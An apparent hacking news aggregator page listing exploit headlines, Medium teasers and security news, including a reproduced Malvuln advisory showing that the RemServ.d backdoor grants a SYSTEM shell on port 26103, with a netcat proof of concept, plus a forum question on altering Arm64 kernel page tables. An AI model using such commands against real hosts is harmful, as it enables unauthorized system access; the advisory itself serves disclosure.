Exploit Collector
Backdoor.Win32.RemServ.d MVID-2022-0655 Remote Command Execution

https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
Backdoor.Win32.RemServ.d malware suffers from a remote command execution vulnerability.

SHA-256 | b0430cb5e5e617e50b9038ab9865a9bd2f7b70fa286736b9fd7fbec68609f4eb

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/05a082d441d9cf365749c0e1eb904c85.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.RemServ.d
Vulnerability: Unauthenticated Remote Command Execution
Family: RemServ
Type: PE32
MD5: 05a082d441d9cf365749c0e1eb904c85
Vuln ID: MVID-2022-0655
Disclosure: 11/11/2022
Description: The malware creates a service "RSMSS" that runs as SYSTEM and listens on TCP port 26103. Remote attackers who can connect to an infected host will get back a shell as "nt authority\system".

Exploit/PoC:
C:\>nc64.exe x.x.x.x 26103
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\>whoami
whoami
nt authority\system

C:\>net user
net user

User accounts for \\

----------------------------------------------------------------------------
Administrator DefaultAccount Guest
Victim WDAGUtilityAccount
The command completed with one or more errors.

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
libxml2 xmlParseNameComplex Integer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
libxml2 Attribute Parsing Double-Free

https://4.bp.blogspot.com/-yl8JZs3kPK0/WWlvOF1SUeI/AAAAAAAAIMk/jv5-1ECzklsqpq4rMFWFx2wFFGh-Q9GlwCLcBGAs/s1600/h24.png
libxml2 suffers from a double-free vulnerability when parsing default attributes.

SHA-256 | 1a8d29ae40a3deaa9cedd289845638ea24b570780c91b8644c9fbebb133eb6ae

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Node-saml Root Element Signature Bypass

https://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png
Node-saml and its partner project passport-saml are vulnerable to an authentication bypass due to lax parsing of SAML responses.

SHA-256 | 1409b388d1ff3591b0f738957b81678639bad9a730829cf9d04b2f5f4e2e8a40

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

VALID E-mail address payload lists of different bug classes

cross-site scripting:Continue reading on Medium »
Read more...

hacking: security in practice
How would you modify a entry in Page table ?

Hey all,

I'm working on a threat model on Kernel page table on Arm64. Do you guys have any mean to modify the translation flow of the kernel page table by updating an entry to make it point to somewhere malicious ? Considering they are marked as readonly, how would you modify it ?

Supposing you have root privilege.

submitted by /u/Bwapie
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

VALID E-mail address payload lists of different bug classes
https://medium.com/@kosanamharish232242/valid-e-mail-address-payload-lists-of-different-bug-classes-ec5785efa3fc?source=rss------bug_bounty-5

cross-site scripting:Continue reading on Medium » (https://medium.com/@kosanamharish232242/valid-e-mail-address-payload-lists-of-different-bug-classes-ec5785efa3fc?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What Happened To Ghost Exodus

https://cdn-images-1.medium.com/max/600/1*_tyRkFo3VAyq23I8nB1CKw.jpeg
https://youtu.be/5wb7LIOuONk

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Complete Guide To Cyber Security Youtubers

https://cdn-images-1.medium.com/max/900/0*19icLEaHSV2XV_ND
It can be difficult to find good quality Cyber Security YouTubers, therefore I have created a definitive list of all the best Cyber…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Arrestan a persona relacionada con campañas del ransomware LockBit

https://cdn-images-1.medium.com/max/1813/0*ILONMEj07GbXSMC9
El ciudadano ruso-canadiense Mikhail Vasiliev fue arrestado en Canadá la semana pasada por su presunta participación en la campaña de…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Cybercrime is more of a threat than nation-state hackers

https://cdn-images-1.medium.com/max/2040/1*P_G93d_zefkPGjY8qduQ3Q.png
Back-to-back security conferences detailed the latest threats posed by APTs on the one hand and cybercriminals on the other.

Continue reading on README_ »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
OverTheWire Wargames: Bandit L07

https://cdn-images-1.medium.com/max/2600/1*H9nKMuImQXJmoWsWQsOsPw.jpeg
Bandit Level 7 write-up

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Australia Declares War on Cybercrime Syndicates

An international counter-ransomware task force has been announced by Australian authorities following the recent Optus and Medibank data breaches.